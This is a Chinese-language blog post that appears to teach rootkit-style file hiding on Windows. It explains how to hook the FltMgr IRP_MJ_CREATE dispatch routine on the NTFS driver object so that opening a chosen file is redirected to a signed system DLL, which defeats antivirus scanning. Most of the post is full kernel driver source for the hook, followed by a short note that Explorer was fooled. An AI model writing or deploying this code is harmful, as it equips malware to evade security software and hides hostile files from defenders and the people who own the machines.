前言
文件隐藏的方法有很多,这里分享的是一种通过内核文件重定向的方式动态规避检测的方法。举例:假设有一个安全软件A,A要扫描文件B,B是我们想要隐藏的文件。那么我们在内核中将A打开文件B的操作重定向到打开文件C,文件C我们设置为一个系统原有且自带微软签名的文件,这样文件B就躲过了A的扫描。等同于文件B对于安全软件A来说就是隐藏的。
探究
现在几乎所有的安全软件对于文件监控都是基于MiniFilter框架,而该框架的能力由FltMgr.sys
这个驱动提供。而这个驱动会将设备对象附加到文件系统上,NTFS文件系统的驱动对象名为 \FileSystem\Ntfs。在FltMgr驱动的派遣函数中会调用到所有通过
F
l
t
R
e
g
i
s
t
e
r
F
i
l
t
e
r
\textcolor{cornflowerblue}{FltRegisterFilter}
FltRegisterFilter函数注册的文件过滤器。如果我们在它调用安全软件注册的文件过滤器之前,将文件路径修改就能实现上述的文件重定向。
为了实现这个目标,我们首先需要获取NTFS文件系统的驱动对象。这里有个很好用的未文档化函数 O b R e f e r e n c e O b j e c t B y N a m e \textcolor{cornflowerblue}{ObReferenceObjectByName} ObReferenceObjectByName
NTSATUS ObReferenceObjectByName(
_In_ PUNICODE_STRING ObjectName, // 驱动对象名
_In_ ULONG Attributes, // 属性值,通常填 OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE
_In_ PACCESS_STATE AccessState, // 访问状态,一般填 NULL
_In_ ACCESS_MASK DesiredAccess, // 预期的访问值,一般填0
_In_ POBJECT_TYPE ObjectType, // 根据对象名代表的类型,有IoDriverObjectType、IoDeviceObjectType、IoFileObjectType .etc
_In_ KPROCESSOR_MODE AccessMode, // 内核下九天KernelMode
_In_opt_ PVOID ParseContext, // 一般填NULL
_Inout_ PVOID* Object); // 输出对象指针
于是可以调用此函数,传入驱动对象名字得到驱动对象。然后我们从NTFS驱动对象中找到附加的FltMgr驱动对象,将该对象的IRP_MJ_CREATE类型的处理函数替换成我们自己的处理函数。随后在我们的处理函数中就可以做手脚了。
代码
#include <ntifs.h>
using ObReferenceObjectByName_t = NTSTATUS(NTAPI*)(
_In_ PUNICODE_STRING ObjectName,
_In_ ULONG Attributes,
_In_ PACCESS_STATE AccessState,
_In_ ACCESS_MASK DesiredAccess,
_In_ POBJECT_TYPE ObjectType,
_In_ KPROCESSOR_MODE AccessMode,
_In_opt_ PVOID ParseContext,
_Inout_ PVOID* Object
);
// 保存原始的创建文件处理函数
PDRIVER_DISPATCH g_FnOriginalCreateFileHandler = NULL;
ObReferenceObjectByName_t g_FnObReferenceObjectByName = NULL;
extern"C" PCHAR PsGetProcessImageFileName(PEPROCESS Process);
extern"C" POBJECT_TYPE * IoDriverObjectType;
extern"C" NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT pDrvObj, _In_ PUNICODE_STRING pRegPath);
VOID DriverUnload(_In_ PDRIVER_OBJECT pDrvObj);
BOOLEAN RetrievesKernelUnDocumentFuncition();
BOOLEAN HookFltMgr(BOOLEAN bRemove);
static NTSTATUS FsCreateFileHandler_Proxy(_In_ PDEVICE_OBJECT pDevObj, _In_ PIRP pIrp);
extern"C" NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT pDrvObj, _In_ PUNICODE_STRING pRegPath)
{
NTSTATUS ntStatus = STATUS_UNSUCCESSFUL;
pDrvObj->DriverUnload = DriverUnload;
if (RetrievesKernelUnDocumentFuncition())
{
if (HookFltMgr(FALSE))
{
ntStatus = STATUS_SUCCESS;
}
}
return ntStatus;
}
VOID DriverUnload(_In_ PDRIVER_OBJECT pDrvObj)
{
if (HookFltMgr(TRUE))
{
// 需要等待1s,因为怕之前有些进入到自己的HOOK函数还没有完全出来,模块就已经卸载,导致BSOD。
LARGE_INTEGER liDelayInterval;
liDelayInterval.QuadPart = -1 * 100 * 100 * 10;
KeDelayExecutionThread(KernelMode, FALSE, &liDelayInterval);
DbgPrint("[+] UnHook FileSysDriver.\n");
}
DbgPrint("[+] Driver unload.\n");
}
BOOLEAN HookFltMgr(BOOLEAN bRemove)
{
UNICODE_STRING uszTargetDriverName = RTL_CONSTANT_STRING(L"\\FileSystem\\Ntfs");
PDRIVER_OBJECT pFileSysDrvObj = NULL;
PDRIVER_OBJECT pTargetDrvObj = NULL;
PDEVICE_OBJECT pFileSysDevObj = NULL;
NTSTATUS ntStatus = STATUS_UNSUCCESSFUL;
ntStatus = g_FnObReferenceObjectByName(
&uszTargetDriverName,
OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
NULL,
0,
*IoDriverObjectType,
KernelMode,
NULL,
(PVOID*)&pFileSysDrvObj);
if (!NT_SUCCESS(ntStatus))
{
goto free_exit;
}
pFileSysDevObj = pFileSysDrvObj->DeviceObject;
if (!MmIsAddressValid(pFileSysDevObj))
{
goto free_exit;
}
if (pFileSysDevObj->AttachedDevice)
{
if (MmIsAddressValid(pFileSysDevObj->AttachedDevice))
{
// 取到的就是FltMgr的 Driver object
pTargetDrvObj = pFileSysDevObj->AttachedDevice->DriverObject;
}
else
{
goto free_exit;
}
}
else
{
// 说明没有过滤驱动,直接使用当前文件系统驱动
pTargetDrvObj = pFileSysDrvObj;
}
if (!pTargetDrvObj)
{
goto free_exit;
}
if (bRemove)
{
InterlockedExchange64((LONGLONG*)&pTargetDrvObj->MajorFunction[IRP_MJ_CREATE],
(LONG64)g_FnOriginalCreateFileHandler);
}
else
{
g_FnOriginalCreateFileHandler = (PDRIVER_DISPATCH)InterlockedExchange64(
(LONGLONG*)&pTargetDrvObj->MajorFunction[IRP_MJ_CREATE],
(LONG64)FsCreateFileHandler_Proxy);
}
ntStatus = STATUS_SUCCESS;
free_exit:
if (pFileSysDrvObj)
{
ObDereferenceObject(pFileSysDrvObj);
}
return NT_SUCCESS(ntStatus);
}
BOOLEAN RetrievesKernelUnDocumentFuncition()
{
UNICODE_STRING uszFnObRefernceObjectByName = RTL_CONSTANT_STRING(L"ObReferenceObjectByName");
g_FnObReferenceObjectByName = (ObReferenceObjectByName_t)MmGetSystemRoutineAddress(&uszFnObRefernceObjectByName);
return g_FnObReferenceObjectByName != NULL;
}
static NTSTATUS FsCreateFileHandler_Proxy(_In_ PDEVICE_OBJECT pDevObj, _In_ PIRP pIrp)
{
PIO_STACK_LOCATION pIostkloc = IoGetCurrentIrpStackLocation(pIrp);
PUNICODE_STRING puzFileObjectName = NULL;
PCHAR pszProcName = NULL;
// 预定义重定向路径
WCHAR wszReDirectionPath[] = L"\\Windows\\System32\\rpcrt4.dll";
ULONG ulReDirectionPathLength = wcslen(wszReDirectionPath);
// 做一些前置检查:
// (1) Irql级别必须在PASSIVE_LEVEL
// (2) 当前IRQL栈不为空
// (3) 当前IRQL栈中的文件对象不为空
if ((KeGetCurrentIrql() != PASSIVE_LEVEL)
|| (pIostkloc == NULL)
|| (pIostkloc->FileObject == NULL))
{
goto goon;
}
// 只处理Explorer.exe进程文件打开情况
pszProcName = PsGetProcessImageFileName(PsGetCurrentProcess());
if (_stricmp(pszProcName, "Explorer.EXE"))
{
goto goon;
}
puzFileObjectName = &pIostkloc->FileObject->FileName;
// 过滤出要隐藏的文件
if (puzFileObjectName->Buffer && !wcsstr(puzFileObjectName->Buffer, L"HideFile.sys"))
{
goto goon;
}
// 将打开的文件路径改为预定义的文件路径实现重定向
if (puzFileObjectName->Length > ulReDirectionPathLength * sizeof(WCHAR))
{
RtlZeroMemory(puzFileObjectName->Buffer, puzFileObjectName->MaximumLength);
RtlCopyMemory(puzFileObjectName->Buffer, wszReDirectionPath, ulReDirectionPathLength * sizeof(WCHAR));
puzFileObjectName->Length = ulReDirectionPathLength * sizeof(WCHAR);
puzFileObjectName->MaximumLength = ulReDirectionPathLength * sizeof(WCHAR) + sizeof(WCHAR);
}
else
{
// 尝试释放原来的内存,防止泄露
if (puzFileObjectName->Buffer)
{
ExFreePool(puzFileObjectName->Buffer);
}
puzFileObjectName->Buffer = (PWCHAR)ExAllocatePoolWithTag(
NonPagedPool, ulReDirectionPathLength * sizeof(WCHAR) + sizeof(WCHAR),'RdFn');
if (!puzFileObjectName->Buffer)
{
goto goon;
}
RtlCopyMemory(puzFileObjectName->Buffer, wszReDirectionPath, ulReDirectionPathLength * sizeof(WCHAR));
puzFileObjectName->Buffer[ulReDirectionPathLength] = 0;
puzFileObjectName->Length = ulReDirectionPathLength * sizeof(WCHAR);
puzFileObjectName->MaximumLength = ulReDirectionPathLength * sizeof(WCHAR) + sizeof(WCHAR);
}
goon:
return g_FnOriginalCreateFileHandler(pDevObj, pIrp);
}
演示
可以发现Explorer被忽悠了。